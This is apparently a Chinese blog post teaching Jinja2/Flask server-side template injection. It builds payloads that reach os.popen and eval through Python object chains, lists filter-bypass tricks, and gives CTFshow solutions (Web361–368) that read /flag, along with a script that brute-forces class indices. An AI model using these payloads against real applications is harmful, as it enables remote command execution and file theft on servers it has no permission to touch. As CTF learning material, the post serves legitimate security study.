url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取ope函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

Jinja2一些语句

"{%%}"可以用来声明变量,也可以用于循环语句和条件语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!---test.html--->
<!DOCTYPE html>
<html lang="en">
<head>
条件语句和循环语句
</head>
<body>
{% for i in ['Ava', 'Bella', 'Diana', 'Elieen'] %}
{% if i in user %}
<h3>Hello, {{i}}!</h3>
{% else %}
<h3>There is no user '{{i}}'</h3>
{% endif %}
{% endfor %}
</body>
</html>
1
2
3
4
5
6
7
8
9
# app.py
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def test():
user = ["Ava", "Diana"]
return render_template('test.html', user = user)
if __name__ == "__main__":
app.run(port=1211, debug=True)

一些可能会用到的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
length():获取一个序列或者字典的长度并将其返回

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

reverse():反转字符串;

replace(value,old,new): 将value中的old替换为new

list():将变量转换为列表类型;

string():将变量转换成字符串类型;

join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): 获取对象的属性
关于attr:
官方解释:foo|attr("bar") 等效于 foo["bar"]

管道符号可以参考官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

Payload构造

第一步:查找基类

1
2
"".__class__.__mro__[-1]
# 直到出现<class 'object'>

第二步:查找基类的子类

1
2
{{"".__class__.__mro__[-1].__subclasses__()}}
# 此时会出现大量子类

os._wrap_close

大多数情况下,我们会利用<class os._wrap_close>这个类

可以用以下脚本来查找下标,具体视情况更改脚本内容

1
2
3
4
5
6
7
8
9
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
url = "http://127.0.0.1:5000/?name=\
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'os._wrap_close' in res.text:
print(i)

接下来我们利用<class os._wrap_close>这个类中的popen方法。

调用__init__方法初始化类

1
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__}}

然后使用__global__方法获取以字典形式返回的方法和属性

1
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cmd').read()}}

cmd即为需要执行的命令,实现rce。

popen:https://blog.csdn.net/Z_Stand/article/details/89375589

__builtins__模块

还有一个常用的模块就是__builtins__,它里面有eval() open()等函数,我们可以也利用它来进行RCE

它的payload是

1
2
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}}
{{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}}

读取文件的payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}}{% endif %}{% endfor %}

SSTI常见的绕过方式

绕过.

1
2
3
4
5
6
7
1.用[]代替.
{{"".__class__}} 等价于 {{""['__class__']}}
2.用attr()过滤器代替
{{"".__class__}} 等价于 {{""|attr('__class__')}}
#关于attr:
#官方解释:foo|attr("bar") 等效于 foo["bar"]
# lipsum | attr('__globals__') 等价于 lipsum.__globals__

绕过[]

可以使用__getitem__方法,用()代替[]

1
2
3
__bases__[0] 等价于 __bases__.__getitem__(0)
# 利用下面payload可以避免使用中括号
{{.__init__.__globals__.__builtins__.eval(request.cookies.a)}}

绕过_

1
2
3
4
5
1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
下划线的ascii码是24, 把24换成其他数字就可以构造其他字符
2、十六进制编码进行绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} = {{().__class__}}

绕过"{{}}"

有时候为了防止SSTI,可能程序员会ban掉"{{}}",这个时候我们可以利用jinja2的语法,用"{%%}"来进行RCE。

1
{%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%}

for循环配合if语句

1
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print (i.__init__.__globals__['popen']('dir').read())%}{%endif%}{%endfor%}

绕过''""

利用request.args.a传入参数绕过

1
{{url_for.__globals__[request.args.a]}}&a=__builtins__ 等价于 {{url_for.__globals__['__builtins__']}}

绕过args

如果args也被过滤了,那我们就利用requests.cookiesrequests.values

1
Get传参 {{url_for.__globals__[request.cookies.a]}}

然后打开F12修改 Cookie: "a" :__builtins__

绕过数字

利用过滤器和管道符号绕过

官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

1
2
{{(dict(a=1,b=1,c=1)|join|count)}} 等价于 {{3}}
原理:count("".join({a:1, b:1, c:1}))

字典中变量个数就是需要构造的数字个数,原理是通过join()函数把字典变成字符串,然后用count()函数统计字符串长度

绕过关键字

有时候class,base等关键词也会被过滤,我们同样可以通过join()函数拼接绕过

1
{{dict(__in=a,it__=a)|join} 等价于 __init__

另外也可以使用~连接字符,~是jinja2中的连接符,可以连接变量字符

1
{{"__in"~"it__"}} 等价于 __init__

unicode编码绕过

CTF show SSTI刷题

Web361

没有任何过滤

1
?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

Web362

过滤了数字2和3

第一种payload

直接构造数字,利用乘法得到132(一般os._wrap._close类都在132)

1
?name={{"".__class__.__base__.__subclasses__()[(dict(a=1,b=1)|join|count)*66].__init__.__globals__['popen']('cat /flag').read()}}

第二种payload

过滤器,先把变量b赋值为2

1
?name={%set b=(dict(b=c,c=d)|join|count)%}{{''.__class__.__base__.__subclasses__()[66*b].__init__.__globals__['popen']('tac /f*').read()}}

第三种payload

利用__builtins__模块,x可以是任意字母

1
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

Web363

过滤了单引号和双引号

利用os._wrap_close

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /f*

利用__builtins__

1
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /f*').read()

Web364

过滤了单引号,双引号以及args

那就利用cookies

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}

打开f12修改cookies。a:popen, b:cat /f*

Web365

在上一题的基础上过滤了中括号

1
?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read()

参数逃逸,也可以修改cookies

Web366

开始过滤下划线,我们可以开始使用attr()过滤器进行绕过

attr()过滤器的用法

1
2
3
foo | attr('bar') 等价于 foo['bar']
而foo['bar']和foo.bar在jinja2下又是等价的
lipsum | attr('__globals__') 等价于 lipsum.__globals__

image-20230819145726677

还是要多读文档,这两个东西是等价的

1
2
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
等同于 lipsum.__globals__.os.popen('cat /flag').read()

Web367

过滤了os,继续参数逃逸

1
?name={{(lipsum|attr(request.values.a))|attr(request.values.b)}}&a=__globals__&b=os.popen('cat /flag').read()

由于attr获取属性,所以使用这段payload没有回显,应该用以下这段payload

1
?name={{(lipsum|attr(request.values.c)).get(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag&c=__globals__

Web368

过滤了花括号,那就使用"{%%}"来执行python语句

1
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag

Web369

后面题目比较刁钻,有空再更新

一点小插曲

Hexo使用Nunjucks这个模板引擎,同样使用"{{}}"和"{%%}"来包裹变量,因此在写完这篇博客进行上传操作时,hexo出现了报错,可谓是SSTI现身说法了。

解决方法:https://blog.csdn.net/Calvin_zhou/article/details/109303640

8.19

不知道为什么之前的md没有保存,又出现了渲染错误。

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.